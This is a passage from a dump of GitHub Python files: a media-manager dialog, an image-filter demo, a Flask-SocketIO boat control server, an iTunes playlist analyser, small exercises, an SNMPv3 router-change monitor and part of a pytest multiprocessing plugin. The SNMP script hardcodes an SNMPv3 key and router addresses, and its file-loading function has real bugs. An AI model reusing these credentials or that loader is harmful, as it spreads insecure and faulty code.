ReportBug.ReportBug()\n\n def plugins(self):\n try:\n import MyPlugins\n\n self.newDialog = MyPlugins.MyPlugins()\n except:\n ReportBug.ReportBug()\n\n def hash(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"file\", False)\n if _path is not None:\n from Tools import Hasher\n\n self.newDialog = Hasher.Hasher(_path)\n except:\n ReportBug.ReportBug()\n\n def checkIcon(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n fu.checkIcon(_path)\n Dialogs.show(translate(\"QuickMake\", \"Directory Icon Checked\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\"`s icon checked.<br>The default action based on the data is executed.\")) % Organizer.getLink(\n _path))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def clearEmptyDirectories(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n if fu.isWritableFileOrDir(_path):\n fu.activateSmartCheckIcon()\n fu.checkEmptyDirectories(_path, True, True, True, True)\n if fu.isDir(_path):\n fu.completeSmartCheckIcon()\n Dialogs.show(translate(\"QuickMake\", \"Directory Cleaned\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\" is cleaned based on the criteria you set.\")) % Organizer.getLink(\n _path))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def clearUnneededs(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n fu.clearUnneededs(_path)\n Dialogs.show(translate(\"QuickMake\", \"Directory Cleaned\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\" is cleaned based on the criteria you set.\")) % Organizer.getLink(\n _path))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def clearIgnoreds(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n fu.clearIgnoreds(_path)\n Dialogs.show(translate(\"QuickMake\", \"Directory Cleaned\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\" is cleaned based on the criteria you set.\")) % Organizer.getLink(\n _path))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def emendFile(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"file\")\n if _path is not None:\n if uni.getBoolValue(\"isShowQuickMakeWindow\"):\n newEmendedName = str(self.leNewValue.text())\n else:\n newEmendedName = Organizer.emend(_path, fu.getObjectType(_path))\n oldFileName = _path\n newFileName = fu.moveOrChange(oldFileName, newEmendedName)\n if newFileName != oldFileName:\n Dialogs.show(translate(\"QuickMake\", \"File Emended\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\" is emended based on the criteria you set.This file is \\\"%s\\\" now.\")) %\n (Organizer.getLink(_path), Organizer.getLink(newFileName)))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def emendDirectory(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n if uni.getBoolValue(\"isShowQuickMakeWindow\"):\n newEmendedName = str(self.leNewValue.text())\n else:\n newEmendedName = Organizer.emend(_path, fu.getObjectType(_path))\n oldFileName = _path\n newDirName = fu.moveOrChange(oldFileName, newEmendedName, \"directory\")\n if newDirName != oldFileName:\n Dialogs.show(translate(\"QuickMake\", \"Directory Emended\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\" is emended based on the criteria you set.This directory is \\\"%s\\\" now.\")) %\n (Organizer.getLink(_path), Organizer.getLink(newDirName)))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def emendDirectoryWithContents(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n if uni.getBoolValue(\"isShowQuickMakeWindow\"):\n newEmendedName = str(self.leNewValue.text())\n else:\n newEmendedName = Organizer.emend(_path, fu.getObjectType(_path))\n fu.activateSmartCheckIcon()\n oldFileName = _path\n newDirName = fu.moveOrChange(oldFileName, newEmendedName, \"directory\")\n if newDirName != oldFileName:\n fileAndDirectoryNames = fu.readDirectory(newDirName, \"fileAndDirectory\")\n for fileAndDirs in fileAndDirectoryNames:\n objectType = fu.getObjectType(fu.joinPath(newDirName, fileAndDirs))\n fu.moveOrChange(fu.joinPath(newDirName, fileAndDirs),\n fu.joinPath(newDirName, Organizer.emend(fileAndDirs, objectType)), objectType)\n if uni.isActiveDirectoryCover and uni.getBoolValue(\n \"isActiveAutoMakeIconToDirectory\") and uni.getBoolValue(\n \"isAutoMakeIconToDirectoryWhenFileMove\"):\n fu.checkIcon(newDirName)\n if fu.isDir(newDirName):\n fu.completeSmartCheckIcon()\n Dialogs.show(translate(\"QuickMake\", \"Directory And Contents Emended\"),\n str(translate(\"QuickMake\",\n \"\\\"%s\\\" is emended based on the criteria you set.This directory is \\\"%s\\\" now.\")) %\n (Organizer.getLink(_path), Organizer.getLink(newDirName)))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def copyPath(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"fileAndDirectory\", False)\n if _path is not None:\n MApplication.clipboard().setText(str(_path))\n Dialogs.show(translate(\"QuickMake\", \"Copied To Clipboard\"),\n str(translate(\"QuickMake\", \"\\\"%s\\\" copied to clipboard.\")) % Organizer.getLink(_path))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def fileTree(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\", False)\n if _path is not None:\n from Tools import FileTreeBuilder\n\n self.newDialog = FileTreeBuilder.FileTreeBuilder(_path)\n except:\n ReportBug.ReportBug()\n\n def removeOnlySubFiles(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n answer = Dialogs.ask(translate(\"QuickMake\", \"All Files Will Be Removed\"),\n str(translate(\"QuickMake\",\n \"Are you sure you want to remove only all files in \\\"%s\\\"?<br>Note:Do not will remove directory and subfolders.\")) % Organizer.getLink(\n _path))\n if answer == Dialogs.Yes:\n getMainWindow().setEnabled(False)\n fu.removeOnlySubFiles(_path)\n getMainWindow().setEnabled(True)\n Dialogs.show(translate(\"QuickMake\", \"Removed Only All Files\"),\n str(translate(\"QuickMake\",\n \"Removed only all files in \\\"%s\\\".<br>Note:Do not removed directory and subfolders.\")) % Organizer.getLink(\n _path))\n self.close()\n except:\n ReportBug.ReportBug()\n\n def clear(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"directory\")\n if _path is not None:\n from Tools import Cleaner\n\n self.newDialog = Cleaner.Cleaner(_path)\n except:\n ReportBug.ReportBug()\n\n def textCorrector(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"file\")\n if _path is not None:\n from Tools import TextCorrector\n\n self.newDialog = TextCorrector.TextCorrector(_path)\n except:\n ReportBug.ReportBug()\n\n def search(self):\n try:\n _path = self.checkSource(str(QuickMakeParameters[1]), \"fileAndDirectory\", False)\n if _path is not None:\n from Tools import Searcher\n\n searchList = [_path] + QuickMakeParameters[2]\n self.newDialog = Searcher.Searcher(searchList)\n except:\n ReportBug.ReportBug()\n \n \n \n","repo_name":"supermurat/hamsi-manager","sub_path":"Core/QuickMake.py","file_name":"QuickMake.py","file_ext":"py","file_size_in_byte":21582,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"73039278453","text":"\"\"\"\n=============\nFrangi filter\n=============\n\nThe Frangi and hybrid Hessian filters can be used to detect continuous\nedges, such as vessels, wrinkles, and rivers.\n\"\"\"\n\nfrom skimage.data import camera\nfrom skimage.filters import frangi, hessian\n\nimport matplotlib.pyplot as plt\n\nimage = camera()\n\nfig, ax = plt.subplots(ncols=3, subplot_kw={'adjustable': 'box-forced'})\n\nax[0].imshow(image, cmap=plt.cm.gray)\nax[0].set_title('Original image')\n\nax[1].imshow(frangi(image), cmap=plt.cm.gray)\nax[1].set_title('Frangi filter result')\n\nax[2].imshow(hessian(image), cmap=plt.cm.gray)\nax[2].set_title('Hybrid Hessian filter result')\n\nfor a in ax:\n a.axis('off')\n\nplt.tight_layout()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/scikit-image_scikit-image/scikit-image-master/doc/examples/filters/plot_frangi.py","file_name":"plot_frangi.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"15415892657","text":"import os\nimport time\n\nfrom flask import Flask, render_template, send_from_directory\nfrom flask_socketio import SocketIO, emit\nfrom pymongo.collection import Collection\n\nfrom ..movement import AutoThrustThreaded\n\nprint(\"\\nImports successfully completed\\n\")\n\n\nWEBSERVER_FOLDER_NAME = \"motorwebserver\"\n\n\ndef normalize_motor_power(power):\n max_ = 10\n min_ = -max_\n return int(max(min_, min(max_, power)))\n\n\nclass ControlServer(SocketIO):\n def __init__(self, host, port, att: AutoThrustThreaded, *args, status_mongo_col: Collection=None):\n # Dynamic Variables\n self.app = Flask(__name__, static_folder=WEBSERVER_FOLDER_NAME + \"/static\",\n template_folder=WEBSERVER_FOLDER_NAME + \"/templates\")\n\n super().__init__(self.app)\n\n self.host = host\n self.port = port\n\n self.att = att\n\n self.lastConnectTime = None\n self.previousStatusData = []\n\n # Get status Collection object from inputted database name\n self.db_col = status_mongo_col\n\n # Routes:\n self.favicon = self.app.route('/favicon.ico')(self.favicon)\n self.index = self.app.route('/')(self.index)\n\n # Socket endpoints:\n self.connect = self.on('connect')(self.client_connect)\n self.set_auto_state = self.on('set_auto_state')(self.set_auto_state)\n self.req_auto_state = self.on('req_auto_state')(self.req_auto_state)\n self.input_control = self.on('input')(self.input_control)\n self.poll = self.on('poll')(self.poll)\n self.client_disconnect = self.on('disconnect')(self.client_disconnect)\n self.move_depth_ticks = self.on('move_depth_ticks')(self.move_depth_ticks)\n self.get_depth_status = self.on('get_depth_status')(self.get_depth_status)\n self.reset_depth = self.on(\"reset_depth\")(self.reset_depth)\n self.stop_depth = self.on(\"stop_depth\")(self.stop_depth)\n\n def run_server(self, **kwargs):\n # Start motor drive thread:\n self.att.start()\n\n try:\n super().run(self.app, self.host, self.port, **kwargs)\n finally:\n print(\"Close thruster object:\")\n self.att.close()\n print(\"--EXIT--\")\n\n def favicon(self):\n return send_from_directory(os.path.join(self.app.root_path, 'static'),\n 'favicon.ico',\n mimetype='image/vnd.microsoft.icon')\n\n @staticmethod\n def index():\n \"\"\"Serve the client-side application.\"\"\"\n return render_template('index.html')\n\n def get_status_data(self):\n status_data = []\n for data in self.db_col.find().sort([[\"_id\", 1]]):\n del data[u'_id']\n status_data.append(data)\n return status_data\n\n @staticmethod\n def client_connect():\n print(\"Client Connect\")\n\n def set_auto_state(self, data):\n if self.att.ws.wpm is None:\n return\n if data['state'] == 1 and len(self.att.ws.wpm.get_wps()) > 0:\n # GET NEW TARGET\n self.att.set_auto_state(True)\n elif data['state'] == 0:\n self.att.set_auto_state(False)\n\n # NOTE: When getting data from VirtualJoystick, make sure to check if it is\n # \"up\", \"down\", \"left\", or \"right\" to stop when finger is lifted off\n def input_control(self, data):\n # target_bearing = 10\n gain = 1. # 32767/80 # Make sure this is a float\n x_value = data['x'] * gain\n y_value = data['y'] * gain\n\n print(\"[Joystic Update] Joy X: {:5.2f} | Joy Y: {:5.2f}\".format( x_value , y_value ))\n\n self.att.set_thrust(0, y_value*2, -x_value)\n\n # Emit status data if collection was supplied:\n if self.db_col is not None:\n emit(\"status\", self.get_status_data())\n\n def req_auto_state(self, data):\n if self.att.ws.wpm is not None:\n num_wps = len(self.att.ws.wpm.get_wps())\n else:\n num_wps = 'None'\n d = {'state': self.att.auto, 'remaining': num_wps}\n emit(\"auto_status\", d)\n\n # Depth:\n def move_depth_ticks(self, data):\n \"\"\" SocketIO event catch for depth move command. \"\"\"\n ticks = float(data['ticks'])\n self.att.ws.depth_m.move_rel_tick(ticks, t=True)\n\n def get_depth_status(self, data):\n \"\"\" Emit depth satus and current position using SocketIO, on SocketIO request. \"\"\"\n emit('depth_status',\n {'is_moving': self.att.ws.depth_m.is_moving(), 'curr_pos': self.att.ws.depth_m.curr_tick})\n\n def reset_depth(self):\n \"\"\" SocketIO event catch for depth tick reset \"\"\"\n self.att.ws.depth_m.curr_tick = 0\n\n def stop_depth(self):\n \"\"\" SocketIO event catch to stop depth \"\"\"\n self.att.ws.depth_m.stop()\n\n def poll(self, data):\n self.lastConnectTime = time.time()\n\n @staticmethod\n def client_disconnect():\n print('disconnect')\n\n#if __name__ == '__main__':\n# cs = ControlServer(host=\"0.0.0.0\", port=8000)\n# cs.run_server()\n","repo_name":"aesrover/platform","sub_path":"aesr_platform/motion/movement/control_server/control_server.py","file_name":"control_server.py","file_ext":"py","file_size_in_byte":5015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"43956623185","text":"from __future__ import print_function, unicode_literals\nimport cPickle as pickle\nimport os.path\nfrom datetime import datetime\nfrom getpass import getpass\nfrom collections import namedtuple\nimport json\nimport yaml\nfrom snmp_helper import snmp_get_oid_v3, snmp_extract\nfrom email_helper import send_mail\n\n\n\nNetworkDevice = namedtuple(\"NetworkDevice\", \"time last_changed run_config_changed\")\n\ndef obtain_objects(filename):\n net_dev = {}\n\n if not os.path.isfile(filename):\n return{}\n\n if filename.count(\".\") == 1:\n out_format = filename.split(\".\")\n else:\n raise ValueError(\"Invalid file name: {0}\".format(filename))\n \n if out_format == 'pk1':\n with open(filename, 'rb') as f:\n while True:\n try:\n net_dev = cPickle.load(f)\n except EOFError:\n break\n elif out_format == 'yml':\n with open(filename, 'r') as f:\n net_dev = yaml.load(f)\n\n elif out_format == 'json':\n with open(filename, 'r') as f:\n net_dev = json.load(f)\n for device_name, device_attrs in net_devices.items():\n uptime, last_changed, run_config_changed = device_attrs\n tmp_device = NetworkDevice(uptime, last_changed, run_config_changed)\n net_devices[device_name] = tmp_device\n else:\n raise ValueError(\"Invalid filename: {}\".format(filename))\n\n return net_dev\n\ndef save_objects(filename, datadictionary):\n\n if filename.count(\".\") == 1:\n _, out_format = filename.split(\".\")\n else:\n raise ValueError(\"Bad file name: {}\".format(filename))\n\n if out_format == 'pkl':\n with open(filename, 'wb') as f:\n pickle.dump(datadictionary, f)\n elif out_format == 'yml':\n with open(filename, 'w') as f:\n f.write(yaml.dump(datadictionary, default_flow_style=False))\n elif out_format == 'json':\n with open(filename, 'w') as f:\n json.dump(datadictionary, f)\n\n\ndef notifications(device_name):\n\n current_time = datetime.now()\n\n sender = '4wrada@gmail.com'\n recipient = '4wrada@gmail.com'\n subject = '{} was modified'.format(device_name)\n message = '''{} was modified at: {}'''.format(device_name, current_time)\n\n if send_mail(recipient, subject, message, sender):\n print('Email notification sent to {}'.format(recipient))\n return True\n\n\ndef snmp_sysname(a_device, snmp_user):\n return snmp_extract(snmp_get_oid_v3(a_device, snmp_user, oid= '1.3.6.1.2.1.1.5.0'))\n\n\ndef snmp_uptime(a_device, snmp_user):\n return int(snmp_extract(snmp_get_oid_v3(a_device, snmp_user, oid='1.3.6.1.2.1.1.3.0')))\n\n\ndef create_new_device(device_name, uptime, last_changed):\n dots_to_print = (35 - len(device_name)) * '.'\n print(\"{} {}\".format(device_name, dots_to_print), end=' ')\n print(\"saving new device\")\n return NetworkDevice(uptime, last_changed, False)\n\n\ndef check_for_reboot(saved_device, uptime, last_changed):\n return uptime < saved_device.uptime or last_changed < saved_device.last_changed\n\n\ndef main():\n reload_window = 180 * 100\n\n net_dev_file = 'netdev.pkl'\n\n \n rtr1_ip_addr = '184.105.247.70'\n rtr2_ip_addr = '184.105.247.71'\n my_key = 'galileo1'\n\n snmp_user = ('pysnmp', my_key, my_key)\n pynet_rtr1 = (rtr1_ip_addr, 161)\n pynet_rtr2 = (rtr2_ip_addr, 161)\n\n print('\\n*** Checking for device changes ***')\n saved_devices = obtain_objects(net_dev_file)\n print(\"{} devices were previously saved\\n\".format(len(saved_devices)))\n\n current_devices = {}\n\n for a_device in (pynet_rtr1, pynet_rtr2):\n device_name = snmp_sysname(a_device, snmp_user)\n uptime = snmp_uptime(a_device, snmp_user)\n last_changed = int(snmp_extract(snmp_get_oid_v3(a_device, snmp_user, oid='1.3.6.1.4.1.9.9.43.1.1.1.0')))\n print(\"\\nConnected to device = {}\".format(device_name))\n print(\"Last changed timestamp = {}\".format(last_changed))\n print(\"Uptime = {}\".format(uptime))\n\n if device_name not in saved_devices:\n current_devices[device_name] = create_new_device(device_name, uptime, last_changed)\n else:\n saved_device = saved_devices[device_name]\n dots_to_print = (35 - len(device_name)) * '.'\n print(\"{} {}\".format(device_name, dots_to_print), end=' ')\n\n if check_for_reboot(saved_device, uptime, last_changed):\n if last_changed <= reload_window:\n print(\"DEVICE RELOADED...not changed\")\n current_devices[device_name] = NetworkDevice(uptime, last_changed, False)\n else:\n print(\"DEVICE RELOADED...and changed\")\n current_devices[device_name] = NetworkDevice(uptime, last_changed, True)\n notifications(device_name)\n\n elif last_changed == saved_device.last_changed:\n print(\"not changed\")\n current_devices[device_name] = NetworkDevice(uptime, last_changed, False)\n\n elif last_changed > saved_device.last_changed:\n print(\"CHANGED\")\n current_devices[device_name] = NetworkDevice(uptime, last_changed, True)\n notifications(device_name)\n else:\n raise ValueError()\n\n save_objects(net_dev_file, current_devices)\n print()\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"WaltRCodes/pynet_test","sub_path":"lesson3/exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42204333151","text":"'''\niTunes playlist parser that finds duplicate tracks\nin a playlist, common tracks between two\nplaylists and shows rating and duration graphs of a playlist\n\nOriginal author: Mahesh Venkitachalam\n\nSlight modifications by me\n'''\n\nimport argparse\nimport plistlib as pl\nimport numpy as np\nfrom matplotlib import pyplot\n\ndef find_duplicates(filename):\n '''\n Finds duplicate tracks in a playlist and\n saves them to dups.txt\n '''\n\n print(\"Finding duplicate tracks in {}...\".format(filename))\n\n plist = pl.readPlist(filename)\n\n tracks = plist['Tracks']\n track_names = {}\n\n for track in tracks.values():\n try:\n name = track['Name']\n duration = track['Total Time']\n\n if name in track_names:\n if duration//1000 == track_names[name][0]//1000:\n count = track_names[name][1]\n track_names[name] = (duration, count+1)\n else:\n track_names[name] = (duration, 1)\n\n except:\n pass\n\n duplicates = []\n\n for key, val in track_names.items():\n if val[1] > 1:\n duplicates.append((val[1], key))\n\n if duplicates:\n print(\"Found {} duplicates. Track names saved to dups.txt\".format(len(duplicates)))\n dups_f = open(\"dups.txt\", \"w\")\n\n for val in duplicates:\n dups_f.write(\"{} ({} times)\\n\".format(val[1], val[0]))\n dups_f.close()\n else:\n print(\"No duplicate tracks found.\")\n\ndef find_common_tracks(filenames):\n '''\n Finds common tracks in two playlists and\n saves them to commons.txt\n '''\n track_name_sets = []\n\n for file_name in filenames:\n track_names = set()\n\n plist = pl.readPlist(file_name)\n tracks = plist['Tracks']\n\n for track in tracks.values():\n try:\n track_names.add(track['Name'])\n except:\n pass\n\n track_name_sets.append(track_names)\n\n common_tracks = set.intersection(*track_name_sets)\n\n if common_tracks:\n common_f = open(\"commons.txt\", \"w\")\n\n for val in common_tracks:\n f_str = \"{}\\n\".format(val)\n common_f.write(f_str)\n\n common_f.close()\n\n print(\"{} common tracks found.\".format(len(common_tracks)),\n \"Track names written to commons.txt.\",\n sep=\"\\n\")\n\n else:\n print(\"No common tracks found.\")\n\ndef plot_stats(filename):\n '''\n Draws graphs based on data collected from playlist file\n '''\n plist = pl.readPlist(filename)\n tracks = plist['Tracks']\n genres = {}\n ratings = []\n durations = []\n\n for track in tracks.values():\n try:\n ratings.append(track['Album Rating'])\n durations.append(track['Total Time'])\n if track['Genre'] not in genres.keys():\n genres[track['Genre']] = 1\n else:\n genres[track['Genre']] += 1\n except:\n pass\n\n if ratings == [] or durations == []:\n print(\"No valid Album Rating/Total Time data in {}.\".format(filename))\n return\n\n #Scatter plot\n x_dur = np.array(durations, np.int32)\n x_dur = x_dur / 60000.0\n\n y_rat = np.array(ratings, np.int32)\n\n\n pyplot.subplot(2, 1, 1)\n pyplot.plot(x_dur, y_rat, 'o')\n pyplot.axis([0, 1.05*np.max(x_dur), -1, 110])\n pyplot.xlabel('Track duration')\n pyplot.ylabel('Track rating')\n\n #Histogram\n pyplot.subplot(2, 1, 2)\n pyplot.hist(x_dur, bins=20)\n pyplot.xlabel('Track duration')\n pyplot.ylabel('Count')\n\n #Horizontal bar graph\n fig_bar, ax_bar = pyplot.subplots(figsize=(6, 5))\n pos = np.arange(len(genres.keys()))\n ax_bar.barh(pos, genres.values(), tick_label=[name for name, count in genres.items()])\n ax_bar.set_yticks(pos)\n ax_bar.set_xlabel('Count')\n ax_bar.set_ylabel('Genres')\n\n #Pie chart\n #fig_pie, ax_pie = pyplot.subplots()\n #ax_pie.pie(genres.values(), labels=genres.keys(), autopct='%1.1f%%')\n #ax_pie.axis('equal')\n\n pyplot.tight_layout()\n pyplot.show()\n\ndef main():\n '''\n Main running function\n '''\n #Create parser\n desc_str = \"\"\"This program analyzes playlist files (.xml)\n exported from iTunes.\"\"\"\n parser = argparse.ArgumentParser(description=desc_str)\n\n #Add a mutually exclusive group of arguments\n group = parser.add_mutually_exclusive_group()\n group.add_argument('--common', nargs='*', dest='pl_files', required=False)\n group.add_argument('--stats', dest='pl_file', required=False)\n group.add_argument('--dup', dest='pl_file_d', required=False)\n\n #Parse args\n args = parser.parse_args()\n\n if args.pl_files:\n find_common_tracks(args.pl_files)\n elif args.pl_file:\n plot_stats(args.pl_file)\n elif args.pl_file_d:\n find_duplicates(args.pl_file_d)\n else:\n print(\"These are not the tracks you are looking for.\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sdinanozer/PP_Exercices","sub_path":"ParsingiTunesPlaylists/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11321882128","text":"# A + X = Rock\n# B + Y = Paper\n# C + Z = Sissors\n\ndef winorlose(char1, char2):\n if (char1 == 'A' and char2 == 'Y'):\n return 1\n if (char1 == 'A' and char2 == 'Z'):\n return 0\n if (char1 == 'B' and char2 == 'X'):\n return 0\n if (char1 == 'B' and char2 == 'Z'):\n return 1\n if (char1 == 'C' and char2 == 'X'):\n return 1\n if (char1 == 'C' and char2 == 'Y'):\n return 0\n else:\n return 2\n\nf = open(\"input.txt\", \"r\")\nlines = f.readlines()\nscore = 0\nfor line in lines:\n if (line[2] == 'X'):\n score += 1\n if (line[2] == 'Y'):\n score += 2\n if (line[2] == 'Z'):\n score += 3\n if (winorlose(line[0], line[2]) == 1):\n score += 6\n if (winorlose(line[0], line[2]) == 2):\n score += 3\nprint(score)","repo_name":"ahorling/Advent-of-code-2022","sub_path":"Day2/day2p1.py","file_name":"day2p1.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39715628456","text":"from numbers import Number\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def isValidBST(self, root: TreeNode,\n min_val: Number = float('-inf'),\n max_val: Number = float('inf')) -> bool:\n if root is None:\n return True\n\n if not (min_val < root.val < max_val):\n return False\n\n return self.isValidBST(root.left, min_val, min(max_val, root.val)) and \\\n self.isValidBST(root.right, max(min_val, root.val), max_val)\n","repo_name":"dyaroshevych/leetcode","sub_path":"python/0098. Validate Binary Search Tree.py","file_name":"0098. Validate Binary Search Tree.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"41438118841","text":"#!/usr/bin/python3\n\"\"\"Script that deletes all State objects with a name containing the letter a\n \"\"\"\n\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n\nif __name__ == \"__main__\":\n # create database engine\n engine = create_engine('mysql+mysqldb://{}:{}@localhost:3306/{}'\n .format(argv[1], argv[2], argv[3]))\n # Set up the tables in the database\n Base.metadata.create_all(engine)\n # Configuring session\n Session = sessionmaker(bind=engine)\n session = Session()\n # Query all the instances with name containing 'a'\n instances = session.query(State).filter(State.name.like('%a%')).all()\n # delete all the instances with name containing 'a'\n for inst in instances:\n session.delete(inst)\n # commit the changes\n session.commit()\n # close the session\n session.close()\n","repo_name":"IDee65/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/13-model_state_delete_a.py","file_name":"13-model_state_delete_a.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19058055906","text":"from contextlib import contextmanager\nimport multiprocessing\nimport collections\n\nfrom _pytest import main\nimport psutil\nimport pytest\n\n\ndef pytest_addoption(parser):\n group = parser.getgroup('pytest-mp')\n\n mp_help = 'Distribute test groups via multiprocessing.'\n group.addoption('--mp', '--multiprocessing', action='store_true', dest='use_mp', default=None, help=mp_help)\n\n np_help = 'Set the concurrent worker amount (defaults to cpu count). Value of 0 disables pytest-mp.'\n group.addoption('--np', '--num-processes', type=int, action='store', dest='num_processes', help=np_help)\n\n parser.addini('mp', mp_help, type='bool', default=False)\n parser.addini('num_processes', np_help)\n\n # Includes pytest-instafail functionality\n # :copyright: (c) 2013-2016 by Janne Vanhala.\n # since it isn't compatible w/ MPTerminalReporter\n\n group.addoption('--instafail', action=\"store_true\", dest=\"instafail\", default=False,\n help=\"show failures and errors instantly as they occur (disabled by default).\")\n\n\nmanager = multiprocessing.Manager()\n# Used for \"global\" synchronization access.\nsynchronization = dict(manager=manager)\nsynchronization['fixture_message_board'] = manager.dict()\nsynchronization['fixture_lock'] = manager.Lock()\n\nstate_fixtures = dict(use_mp=False, num_processes=None)\n\n\n@pytest.fixture(scope='session')\ndef mp_use_mp():\n return state_fixtures['use_mp']\n\n\n@pytest.fixture(scope='session')\ndef mp_num_processes():\n return state_fixtures['num_processes']\n\n\n@pytest.fixture(scope='session')\ndef mp_message_board():\n return synchronization['fixture_message_board']\n\n\n@pytest.fixture(scope='session')\ndef mp_lock():\n return synchronization['fixture_lock']\n\n\n@pytest.fixture(scope='session')\ndef mp_trail():\n message_board = synchronization['fixture_message_board']\n\n @contextmanager\n def trail(name, state='start'):\n if state not in ('start', 'finish'):\n raise Exception('mp_trail state must be \"start\" or \"finish\": {}'.format(state))\n\n consumer_key = name + '__consumers__'\n with synchronization['fixture_lock']:\n if state == 'start':\n if consumer_key not in message_board:\n message_board[consumer_key] = 1\n yield True\n else:\n message_board[consumer_key] += 1\n yield False\n else:\n message_board[consumer_key] -= 1\n if message_board[consumer_key]:\n yield False\n else:\n del message_board[consumer_key]\n yield True\n\n return trail\n\n\ndef load_mp_options(session):\n \"\"\"Return use_mp, num_processes from pytest session\"\"\"\n if session.config.option.use_mp is None:\n if not session.config.getini('mp'):\n state_fixtures['use_mp'] = False\n state_fixtures['num_processes'] = 0\n return False, 0\n\n if hasattr(session.config.option, 'num_processes') and session.config.option.num_processes is not None:\n num_processes = session.config.option.num_processes\n else:\n num_processes = session.config.getini('num_processes') or 'cpu_count'\n\n if num_processes == 'cpu_count':\n num_processes = multiprocessing.cpu_count()\n else:\n try:\n num_processes = int(num_processes)\n except ValueError:\n raise ValueError('--num-processes must be an integer.')\n\n state_fixtures['use_mp'] = True\n state_fixtures['num_processes'] = num_processes\n return True, num_processes\n\n\ndef get_item_batch_name_and_strategy(item):\n # First check if there is more than one mark for mp_group\n markers = [mark for mark in item.iter_markers() if mark.name == 'mp_group']\n if len(markers) > 1:\n raise Exception('Detected too many mp_group values for {}'.format(item.name))\n\n marker = item.get_closest_marker('mp_group')\n if marker is None:\n return None, None\n\n group_name = None\n group_strategy = None\n\n marker_args = getattr(marker, 'args', None)\n marker_kwargs = getattr(marker, 'kwargs', {})\n\n # In general, multiple mp_group decorations aren't supported.\n # This is a best effort, since kwargs will be overwritten.\n distilled = list(marker_args) + list(marker_kwargs.values())\n if len(distilled) > 2 \\\n or (len(distilled) == 2 and 'strategy' not in marker_kwargs\n and not any([x in distilled for x in ('free', 'isolated_free', 'serial', 'isolated_serial')])):\n raise Exception('Detected too many mp_group values for {}'.format(item.name))\n\n if marker_args:\n group_name = marker_args[0]\n if len(marker_args) > 1:\n group_strategy = marker_args[1]\n\n if marker_kwargs:\n group_name = group_name or marker_kwargs.get('group')\n group_strategy = group_strategy or marker_kwargs.get('strategy')\n\n return group_name, group_strategy\n\n\ndef batch_tests(session):\n batches = collections.OrderedDict()\n\n for item in session.items:\n group_name, group_strategy = get_item_batch_name_and_strategy(item)\n\n if group_name is None:\n item.add_marker(pytest.mark.mp_group_info.with_args(group='ungrouped', strategy='free'))\n if 'ungrouped' not in batches:\n batches['ungrouped'] = dict(strategy='free', tests=[])\n batches['ungrouped']['tests'].append(item)\n else:\n if group_strategy is None:\n group_strategy = batches.get(group_name, {}).get('strategy') or 'free'\n elif 'strategy' in batches.get(group_name, []) and batches[group_name]['strategy'] != group_strategy:\n raise Exception(\"{} already has specified strategy {}.\"\n .format(group_name, batches[group_name]['strategy']))\n if group_name not in batches:\n batches[group_name] = dict(strategy=group_strategy, tests=[])\n item.add_marker(pytest.mark.mp_group_info.with_args(group=group_name, strategy=group_strategy))\n batches[group_name]['tests'].append(item)\n\n total_tests = 0\n for group in batches:\n for test in batches[group]['tests']:\n total_tests += 1\n\n print('There should be {} tests run.'.format(total_tests))\n\n return batches\n\n\ndef run_test(test, next_test, session, finished_signal=None):\n 